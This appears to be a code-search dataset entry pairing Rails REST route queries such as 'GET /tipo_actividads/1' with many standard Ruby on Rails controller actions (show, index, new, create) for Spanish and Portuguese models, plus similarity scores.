"def show\n @status_del_admitido = StatusDelAdmitido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_del_admitido }\n end\n end",
"def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end",
"def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end",
"def show\n @activity_type = ActivityType.find(params[:id]) \n @activitypage = @activity_type.activities.page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_type }\n end\n end",
"def show\n @venta = Venta.find(params[:id])\n\n @domicilios = Domicilio.where(usuario_id: @venta.usuario.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venta }\n end\n end",
"def show\n @periodo_academico = PeriodoAcademico.find(params[:id])\n\n render json: @periodo_academico\n end",
"def index\n @asociados = Asociado.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @asociados }\n end\n end",
"def show\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def index\n \n @controles_asistencias = ControlAsistencia.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @controles_asistencias }\n end\n end",
"def show\n @accesorio = Accesorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @accesorio }\n end\n end",
"def show\n @acuerdo = Acuerdo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acuerdo }\n end\n end",
"def index\n @tipo_ordens = TipoOrden.all\n end",
"def show\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ativo_outro }\n end\n end",
"def index\n @anuncios = Anuncio.all\n render json: @anuncios, status: :ok\n end",
"def show\n @status_ativ = StatusAtiv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_ativ }\n end\n end",
"def show\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_vehiculo }\n end\n end",
"def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"def index\n @tipo_propiedads = TipoPropiedad.all\n end",
"def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end",
"def index\n @tipo_vendas = TipoVenda.all\n end",
"def show\n @local_deportivo = LocalDeportivo.find(params[:id], :conditions=> \"estado = 'C' OR estado is NULL\")\n \n @espacio_deportivos = @local_deportivo.espacio_deportivos.find(:all)\n \n \n respond_to do |format|\n format.html \n format.json { render json: {:espacio_deportivos =>@espacio_deportivos, :local_deportivo => @local_deportivo }}\n end\n \n end",
"def show\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assunto }\n end\n end",
"def index\n @ativos = type_class.all\n end",
"def show\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aviso }\n end\n end",
"def show\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @atracao }\n end\n end",
"def show\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv_adicionale }\n end\n end",
"def index\n @tutorados = Tutorado.all\n\n render json: @tutorados, status: :ok\n end",
"def show\n @tipo_tel = TipoTel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_tel }\n end\n end",
"def index\n @act_types = ActType.order(:name).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @act_types }\n end\n end",
"def show\n @arquivo = Arquivo.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id, :comentavel_type => \"Arquivo\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arquivo }\n end\n end",
"def show\n render json: @itemtipo\n end",
"def show\n @situacao_avaliacao = SituacaoAvaliacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @situacao_avaliacao }\n end\n end",
"def show\n @activo = Activo.find(params[:id])\n #@amenaza = @activo.amenazas.build\n #if @activo.amenazas.count != 0\n # @amenaza = Amenaza.find(@activo.amenaza_id)\n #else\n # @amenaza = Amenaza.new\n #end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activo }\n end\n end",
"def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def index\n @tipo_de_imovels = TipoDeImovel.all\n end",
"def index\n @acoes = Acao.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acoes }\n end\n end",
"def show\n @oma_relation_type = OmaRelationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oma_relation_type }\n end\n end",
"def active\n @travels = Travels::Travel.actual\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end",
"def new\n @aactio = Aactio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aactio }\n end\n end",
"def index\n @itemtipos = Itemtipo.all\n\n render json: @itemtipos\n end",
"def index\n @transacciones = Transaccion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transacciones }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tipo_item = TipoItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_item }\n end\n end",
"def index\n find_dependencias\n respond_to do |format|\n format.html\n format.json { render :json => @dependencias.to_json(:methods => :alias_or_fullname, :only => [:id, :codigo, :nombre])}\n\n end\n end",
"def index\n @ativo_outros = AtivoOutro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ativo_outros }\n end\n end",
"def show\n @auditoria = Auditoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @auditoria }\n end\n end",
"def show\n @orgao = Orgao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orgao }\n end\n end",
"def new\n @activo = Activo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activo }\n end\n end",
"def new\n @actividad = Actividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actividad }\n end\n end",
"def index\n @articulos = Articulo.where(\"tipo = 'articulo'\").order(\"created_at desc\") \n @noticias = Articulo.where(\"tipo = 'noticia' and mostrar_carrusel='1'\").order(\"created_at desc\").limit(3)\n @articulos = @articulos.page(params[:page]).per_page(5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articulos }\n end\n end",
"def index\n @paciente = Paciente.find(params[:paciente_id])\n @visitas = @paciente.visitas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visitas }\n end\n end",
"def show\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @act_type }\n end\n end",
"def index\n # @transacciones = Transaccione.all\n respond_to do |format|\n format.html\n format.json { render json: TransaccionesDatatable.new(view_context) }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def index\n @status_de_la_inscripcions = StatusDeLaInscripcion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_de_la_inscripcions }\n end\n end",
"def show\n @status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end",
"def show\n @tipo_alerta = TipoAlerta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_alerta }\n end\n end"
] |
[
"0.7129683",
"0.6676199",
"0.66501236",
"0.66076255",
"0.6606381",
"0.6558203",
"0.65266496",
"0.65253615",
"0.64946395",
"0.644516",
"0.64268714",
"0.64155716",
"0.63872033",
"0.6355061",
"0.63419795",
"0.6315225",
"0.62956417",
"0.62670964",
"0.62420577",
"0.6238409",
"0.62377155",
"0.62068444",
"0.6189753",
"0.6161396",
"0.615532",
"0.6147773",
"0.6127411",
"0.6126777",
"0.61232674",
"0.6099905",
"0.6099864",
"0.60937536",
"0.6091798",
"0.6088913",
"0.6087765",
"0.60858613",
"0.6083377",
"0.60763884",
"0.6072372",
"0.6072262",
"0.6065368",
"0.6057756",
"0.60524195",
"0.60496557",
"0.60228175",
"0.6018624",
"0.6015668",
"0.60147774",
"0.60115916",
"0.601142",
"0.6005387",
"0.6005311",
"0.60048485",
"0.6000343",
"0.6000173",
"0.5999658",
"0.5998918",
"0.5994253",
"0.59863096",
"0.59791315",
"0.5976354",
"0.5973129",
"0.5962509",
"0.5958304",
"0.595237",
"0.5951412",
"0.5949947",
"0.59431374",
"0.59391177",
"0.5936394",
"0.59218574",
"0.591735",
"0.5916546",
"0.5913596",
"0.591347",
"0.591347",
"0.5909711",
"0.5907974",
"0.5906244",
"0.5904849",
"0.5902675",
"0.5901242",
"0.5899586",
"0.5899184",
"0.5899184",
"0.58973557",
"0.5894233",
"0.58933365",
"0.5892756",
"0.5890613",
"0.5889947",
"0.5889282",
"0.5888531",
"0.5888457",
"0.5885104",
"0.5882652",
"0.58755857",
"0.5873957",
"0.5858761",
"0.5857238"
] |
0.72707134
|
0
|
GET /tipo_actividads/1 GET /tipo_actividads/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @tipo_actividad = TipoActividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def index\n @tipo_actividads = TipoActividad.all\n end",
"def show\n @activo = Activo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activo }\n end\n end",
"def show\n @actividad = Actividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actividad }\n end\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_contrato }\n end\n end",
"def show\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_atendimento }\n end\n end",
"def show\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def show\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aactio }\n end\n end",
"def activo\n @egreso.activo\n respond_to do |format|\n format.html { redirect_to egresos_url }\n format.json { head :no_content }\n end\n end",
"def index\n @actividads = Actividad.all\n end",
"def index\n @ofertas = Oferta.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ofertas }\n end\n end",
"def activos\n render :json => Producto.activo.all\n end",
"def show\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @denuncia_tipo }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def new\n @tipo_actividad = TipoActividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end",
"def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activite }\n end\n end",
"def show\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_negocio }\n end\n end",
"def new\n @activo = Activo.new\n @amenaza = Amenaza.all(:select => \"id,origen\")\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activo }\n end\n end",
"def activo\n @produccion.activo\n respond_to do |format|\n format.html { redirect_to produccions_url }\n format.json { head :no_content }\n end\n end",
"def show\n @status_del_admitido = StatusDelAdmitido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_del_admitido }\n end\n end",
"def show\n @agenda_type = AgendaType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @agenda_type }\n end\n end",
"def index\n @antecedentes = Antecedente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @antecedentes }\n end\n end",
"def index\n @subcategorias = Subcategoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @subcategorias }\n end\n end",
"def show\n @status_ativ = StatusAtiv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_ativ }\n end\n end",
"def show\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_vehiculo }\n end\n end",
"def show\n @categorias_tipo = CatTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categorias_tipo }\n end\n end",
"def index\n if params[:tipo_id]\n @entidades = Tipo.friendly.find(params[:tipo_id]).entidades\n else\n @entidades = Entidade.all\n end\n end",
"def index\n @activos = Activo.all\n end",
"def show\n\n @evento = Evento.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @evento.id, :comentavel_type => \"Evento\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evento }\n end\n end",
"def show\n @requerimiento ||= Requerimiento.where(:numero => params[:id]).first\n @areas = Area.where(\" nombre like '%DIT%' \")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def index\n @adecuacionactividads = Adecuacionactividad.all\n end",
"def show\n @tipo_item = TipoItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_item }\n end\n end",
"def show\n @tipo_tel = TipoTel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_tel }\n end\n end",
"def show\n @antecedente = Antecedente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @antecedente }\n end\n end",
"def index\n @tipo_denuncia = TipoDenuncium.all\n\n render json: @tipo_denuncia\n end",
"def show\n @venta = Venta.find(params[:id])\n\n @domicilios = Domicilio.where(usuario_id: @venta.usuario.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venta }\n end\n end",
"def show\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ativo_outro }\n end\n end",
"def show\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def show\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv_adicionale }\n end\n end",
"def show\n @status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end",
"def show\n @activity_type = ActivityType.find(params[:id]) \n @activitypage = @activity_type.activities.page(params[:page]).per(20)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activity_type }\n end\n end",
"def set_tipo_actividad\n @tipo_actividad = TipoActividad.find(params[:id])\n end",
"def new\n @actividad = Actividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actividad }\n end\n end",
"def show\n @periodo_academico = PeriodoAcademico.find(params[:id])\n\n render json: @periodo_academico\n end",
"def show\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n render json: @oferta_academica\n end",
"def new\n @activo = Activo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activo }\n end\n end",
"def show\n @tipo_alerta = TipoAlerta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_alerta }\n end\n end",
"def show\n @status_del_tramite_de_beca = StatusDelTramiteDeBeca.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_del_tramite_de_beca }\n end\n end",
"def InfoPlanPaciente\n \tid = params[:id]\n @plan_paciente = TipoPlan.find_by_sql(\"select descripcion FROM tipo_plans where plan_paciente_id = #{id} and tipo = 'Paciente'\")\n render json: @plan_paciente\n end",
"def show\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n render json: @tipo_pregunta\n end",
"def show\n @assunto = Assunto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assunto }\n end\n end",
"def show\n @accesorio = Accesorio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @accesorio }\n end\n end",
"def show\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @asiento }\n end\n end",
"def show\n @indicativo = Indicativo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def show\n @anuncio = Anuncio.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @anuncio }\n end\n end",
"def show\n @oma_relation_type = OmaRelationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oma_relation_type }\n end\n end",
"def show\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_pensum }\n end\n end",
"def show\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_tipo_unidade }\n end\n end",
"def show\n @asociado = Asociado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @asociado }\n end\n end",
"def show\n @acuerdo = Acuerdo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acuerdo }\n end\n end",
"def show\n @apuesta_detail = ApuestaDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apuesta_detail }\n end\n end",
"def index\n @activacionclientets = Activacionclientet.all\n end",
"def show\n @local_deportivo = LocalDeportivo.find(params[:id], :conditions=> \"estado = 'C' OR estado is NULL\")\n \n @espacio_deportivos = @local_deportivo.espacio_deportivos.find(:all)\n \n \n respond_to do |format|\n format.html \n format.json { render json: {:espacio_deportivos =>@espacio_deportivos, :local_deportivo => @local_deportivo }}\n end\n \n end",
"def show\n @status_confirmacao_adotando = StatusConfirmacaoAdotando.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status_confirmacao_adotando }\n end\n end",
"def show\n @activo = Activo.find(params[:id])\n #@amenaza = @activo.amenazas.build\n #if @activo.amenazas.count != 0\n # @amenaza = Amenaza.find(@activo.amenaza_id)\n #else\n # @amenaza = Amenaza.new\n #end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @activo }\n end\n end",
"def new\n @aactio = Aactio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @aactio }\n end\n end",
"def show\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @act_type }\n end\n end",
"def show\n render json: @itemtipo\n end",
"def index\n @tipo_usuarios = TipoUsuario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_usuarios }\n end\n end",
"def show\n @auditoria = Auditoria.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @auditoria }\n end\n end",
"def etiquetas_por_aluno\n logger.info(params)\n @etiquetas_aluno = Etiqueta.all.where(aluno_id: params[:aluno_id])\n respond_with @etiquetas_aluno\n end",
"def show\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @aviso }\n end\n end",
"def index\n @status_del_admitidos = StatusDelAdmitido.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @status_del_admitidos }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def show\n @tipo_contrato = TipoContrato.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tipo_contrato }\n end\n end",
"def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def show\n @paciente = Paciente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paciente }\n end\n end",
"def show\n @situacao_avaliacao = SituacaoAvaliacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @situacao_avaliacao }\n end\n end",
"def show\n @arquivo = Arquivo.find(params[:id])\n @comentarios = Comentario.where(:comentavel_id => @arquivo.id, :comentavel_type => \"Arquivo\").order('created_at DESC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @arquivo }\n end\n end",
"def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def show\n @core_status_selo_fiscal_tipo = Core::StatusSeloFiscalTipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @core_status_selo_fiscal_tipo }\n end\n end",
"def show\n @tipo_documento = TipoDocumento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_documento }\n end\n end",
"def show\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @atracao }\n end\n end",
"def show\n @actividad = Actividad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @actividad }\n end\n end",
"def index\n @assuntos = Assunto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assuntos }\n end\n end",
"def show\n @categorialivro = Categorialivro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @categorialivro }\n end\n end",
"def show\n @titulacionesdoctipo = Titulacionesdoctipo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @titulacionesdoctipo }\n end\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def show\n @indicacao = Indicacao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def show\n @datoscontacto = Datoscontacto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @datoscontacto }\n end\n end",
"def index\n @tipoapreensoes = Tipoapreensao.all\n end",
"def show\n @tipo_controles = TipoControle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tipo_controles }\n end\n end",
"def show\n @orgao = Orgao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orgao }\n end\n end",
"def new\n @uf = Uf.first\n @municipios = @uf.municipios\n @cargo_eleicao = Eleicao.find(:first, :conditions => \"status = true\").cargo_eleicaos\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cargo_eleicao }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @comentario = Comentario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentario }\n end\n end",
"def show\n @dependencia = Dependencia.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dependencia }\n end\n end",
"def index\n @itemtipos = Itemtipo.all\n\n render json: @itemtipos\n end"
] |
[
"0.74239",
"0.71713233",
"0.6860721",
"0.68318653",
"0.68100595",
"0.6721111",
"0.6671315",
"0.6654853",
"0.6599203",
"0.6559442",
"0.65287685",
"0.65218997",
"0.64728725",
"0.64614415",
"0.6460771",
"0.64467186",
"0.6421764",
"0.637686",
"0.6373645",
"0.6368257",
"0.634844",
"0.63186204",
"0.63148344",
"0.6312883",
"0.63033867",
"0.6302083",
"0.6300877",
"0.6293978",
"0.6286454",
"0.62723285",
"0.62671405",
"0.6263743",
"0.6255701",
"0.6252308",
"0.6232988",
"0.6230677",
"0.62292624",
"0.6226307",
"0.62258744",
"0.6225181",
"0.6219742",
"0.6217614",
"0.62155247",
"0.6210452",
"0.6208463",
"0.62054104",
"0.6204328",
"0.6192745",
"0.6180405",
"0.616872",
"0.6164136",
"0.6163941",
"0.6158895",
"0.61570203",
"0.615434",
"0.6150077",
"0.61448395",
"0.6132148",
"0.6129708",
"0.6129199",
"0.6128272",
"0.6126933",
"0.61226225",
"0.6119158",
"0.6117089",
"0.6112434",
"0.6111521",
"0.61102355",
"0.61087525",
"0.61080396",
"0.61067104",
"0.6103376",
"0.6102562",
"0.60957366",
"0.6090093",
"0.6088575",
"0.6088575",
"0.60742974",
"0.6071763",
"0.6071763",
"0.6062461",
"0.60616",
"0.6058138",
"0.6049278",
"0.604859",
"0.60477674",
"0.60443914",
"0.6040091",
"0.6030228",
"0.60211647",
"0.60136074",
"0.60092646",
"0.60051507",
"0.6004355",
"0.60001683",
"0.5997252",
"0.5995606",
"0.59950507",
"0.59950507",
"0.5994473",
"0.59863293"
] |
0.0
|
-1
|
POST /tipo_actividads POST /tipo_actividads.json
|
def create
@tipo_actividad = TipoActividad.new(tipo_actividad_params)
respond_to do |format|
if @tipo_actividad.save
format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad se creó correctamente.' }
format.json { render :show, status: :created, location: @tipo_actividad }
else
format.html { render :new }
format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @tipo_actividad = TipoActividad.new(params[:tipo_actividad])\n\n respond_to do |format|\n if @tipo_actividad.save\n format.html { redirect_to @tipo_actividad, notice: 'Tipo actividad was successfully created.' }\n format.json { render json: @tipo_actividad, status: :created, location: @tipo_actividad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:orgao][:tipo_atendimento_ids] ||= []\n\trespond_to do |format|\n if @orgao.save\n format.html { redirect_to @orgao, notice: \"Local de atendimento: #{@orgao.nome}, foi criado com sucesso.\" }\n format.json { render json: @orgao, status: :created, location: @orgao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orgao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @actividad = Actividad.new(params[:actividad])\n respond_to do |format|\n if @actividad.save \n @actividad.visitadors.each do |v|\n pu = PuntuacionesActividad.new(:actividad_id => @actividad.id, :visitador_id => v.id, :puntuacion => @actividad.puntuacion)\n pu.save\n end\n format.html { redirect_to @actividad, notice: 'Actividad was successfully created.' }\n format.json { render json: @actividad, status: :created, location: @actividad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activo = Activo.new(params[:activo])\n\n respond_to do |format|\n if @activo.save\n format.html { redirect_to @activo, notice: 'Activo was successfully created.' }\n format.json { render json: @activo, status: :created, location: @activo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @actividad = Actividad.new(actividad_params)\n\n respond_to do |format|\n if @actividad.save\n format.html { redirect_to @actividad, notice: 'Actividad was successfully created.' }\n format.json { render :show, status: :created, location: @actividad }\n else\n format.html { render :new }\n format.json { render json: @actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tipo_aposta = TipoAposta.new(tipo_aposta_params)\n\n respond_to do |format|\n if @tipo_aposta.save\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_aposta }\n else\n format.html { render :new }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activo = Activo.new(activo_params)\n\n respond_to do |format|\n if @activo.save\n format.html { redirect_to @activo, notice: 'Activo was successfully created.' }\n format.json { render :show, status: :created, location: @activo }\n else\n format.html { render :new }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
